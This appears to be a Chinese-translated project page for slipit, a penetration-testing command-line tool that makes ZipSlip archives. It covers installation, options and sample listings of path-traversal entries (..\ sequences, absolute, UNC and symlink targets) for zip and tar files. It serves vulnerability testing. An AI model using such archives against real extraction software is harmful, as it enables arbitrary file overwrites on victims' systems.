slipit - 使用路径遍历元素创建档案的实用程序
项目描述
滑倒
slipit是一个命令行实用程序,用于创建带有路径遍历元素的档案。它基本上是著名的evilarc 实用程序的继承者,具有扩展的功能集和改进的基本功能。
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user 24 2022-08-25 10:57:35 legit.txt
[user@host ~]$ slipit archive.tar.gz file1.txt file2.txt
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user 24 2022-08-25 10:57:35 legit.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:41 ..\..\..\..\..\..\file1.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:44 ..\..\..\..\..\..\file2.txt
[user@host ~]$ slipit archive.tar.gz file1.txt --depth 3 --increment 1
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user 24 2022-08-25 10:57:35 legit.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:41 ..\..\..\..\..\..\file1.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:44 ..\..\..\..\..\..\file2.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:41 ..\file1.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:41 ..\..\file1.txt
?rw-r--r-- user/user 3 2022-08-25 10:56:41 ..\..\..\file1.txt
[user@host ~]$ slipit archive.tar.gz --clear
[user@host ~]$ slipit archive.tar.gz
?rw-r--r-- user/user 24 2022-08-25 10:57:35 legit.txt
安装
slipit可以通过pip安装:
[user@host ~]$ pip3 install --user slipit
您还可以通过运行以下命令从源代码构建 slipit:
[user@host ~]$ git clone https://github.com/usdAG/slipit
[user@host ~]$ cd slipit
[user@host slipit]$ python3 setup.py sdist
[user@host slipit]$ pip3 install --user dist/*
slipit还支持bash的自动完成。要利用自动完成功能,您需要
安装完成助手项目。如果设置正确,只需将完成脚本复制到您的~/.bash_completion.d
文件夹即可启用自动完成。
用法
[user@host ~]$ slipit -h
usage: slipit [-h] [--archive-type {zip,tar,tgz,bz2}] [--clear] [--debug] [--depth int] [--increment int]
[--overwrite] [--prefix string] [--multi] [--remove name] [--separator char] [--sequence seq]
[--static content] [--symlink target] archive [filename ...]
slipit v1.0.1 - Utility for creating ZipSlip archives.
positional arguments:
archive target archive file
filename filenames to include into the archive
options:
-h, --help show this help message and exit
--archive-type {zip,tar,tgz,bz2}
archive type to use
--clear clear the specified archive from traversal items
--debug enable verbose error output
--depth int number of traversal sequences to use (default=6)
--increment int add incremental traversal payloads from <int> to depth
--overwrite overwrite the target archive instead of appending to it
--prefix string prefix to use before the file name
--multi create an archive containing multiple payloads
--remove name remove files from the archive (glob matching)
--separator char path separator (default=\)
--sequence seq use a custom traversal sequence (default=..{sep})
--static content use static content for each input file
--symlink target add as symlink (only available for tar archives)
slipit期望目标输出存档和任意数量的输入文件作为强制性命令行参数。所有指定的输入文件都附加到指定的存档中,包括路径遍历前缀,其深度由--depth
选项指定(默认为 6)。目标存档格式是根据非现有存档的文件扩展名或现有存档的 mime 类型自动确定的。您还可以使用该--archive-type
选项手动指定存档类型。
[user@host ~]$ slipit example.zip
File Name Modified Size
example/ 2022-02-02 18:39:00 0
example/images/ 2022-02-02 18:40:16 0
example/images/holiday.png 2022-02-02 18:40:06 34001
example/images/beach.png 2022-02-02 18:40:16 2112
example/documents/ 2022-02-02 18:39:48 0
example/documents/invoice.docx 2022-02-02 18:39:40 3001
example/documents/important.docx 2022-02-02 18:39:48 121
[user@host ~]$ slipit example.zip test.txt
[user@host ~]$ slipit example.zip
File Name Modified Size
example/ 2022-02-02 18:39:00 0
example/images/ 2022-02-02 18:40:16 0
example/images/holiday.png 2022-02-02 18:40:06 34001
example/images/beach.png 2022-02-02 18:40:16 2112
example/documents/ 2022-02-02 18:39:48 0
example/documents/invoice.docx 2022-02-02 18:39:40 3001
example/documents/important.docx 2022-02-02 18:39:48 121
..\..\..\..\..\..\test.txt 2022-02-02 18:40:48 36
slipit期望指定的输入文件存在于您的本地文件系统上,并在存档中使用它们的文件内容。通常这不是必需的,您只需要虚拟内容来测试
ZipSlip漏洞。这是该--static <string>
选项可以提供帮助的地方。使用此选项时,存档中仅使用指定输入文件的文件名,而它们的内容设置为<string>
.
[user@host ~]$ slipit example.zip test2.txt --static 'HELLO WORLD :D'
[user@host ~]$ slipit example.zip
File Name Modified Size
example/ 2022-02-02 18:39:00 0
example/images/ 2022-02-02 18:40:16 0
example/images/holiday.png 2022-02-02 18:40:06 34001
example/images/beach.png 2022-02-02 18:40:16 2112
example/documents/ 2022-02-02 18:39:48 0
example/documents/invoice.docx 2022-02-02 18:39:40 3001
example/documents/important.docx 2022-02-02 18:39:48 121
..\..\..\..\..\..\test.txt 2022-02-02 18:40:48 36
..\..\..\..\..\..\test2.txt 2022-02-02 18:45:22 14
通过使用该--clear
选项,您可以从路径遍历负载中清除存档。
[user@host ~]$ slipit --clear example.zip
[user@host ~]$ slipit example.zip
File Name Modified Size
example/ 2022-02-02 18:39:00 0
example/images/ 2022-02-02 18:40:16 0
example/images/holiday.png 2022-02-02 18:40:06 34001
example/images/beach.png 2022-02-02 18:40:16 2112
example/documents/ 2022-02-02 18:39:48 0
example/documents/invoice.docx 2022-02-02 18:39:40 3001
example/documents/important.docx 2022-02-02 18:39:48 121
slipit还允许使用以下--multi
选项创建包含多个有效负载的存档:
[user@host ~]$ slipit example.zip test.txt --static content --multi
[user@host ~]$ slipit example.zip
File Name Modified Size
C:\Windows\test.txt 2022-02-03 09:35:28 7
\\10.10.10.1\share\test.txt 2022-02-03 09:35:28 7
/root/test.txt 2022-02-03 09:35:28 7
../test.txt 2022-02-03 09:35:28 7
..\test.txt 2022-02-03 09:35:28 7
../../test.txt 2022-02-03 09:35:28 7
..\..\test.txt 2022-02-03 09:35:28 7
../../../test.txt 2022-02-03 09:35:28 7
..\..\..\test.txt 2022-02-03 09:35:28 7
../../../../test.txt 2022-02-03 09:35:28 7
..\..\..\..\test.txt 2022-02-03 09:35:28 7
../../../../../test.txt 2022-02-03 09:35:28 7
..\..\..\..\..\test.txt 2022-02-03 09:35:28 7
支持的存档类型
目前,支持以下存档类型(仅命名它们最常见的扩展名):
.zip
.tar
.tar.gz
.tar.bz2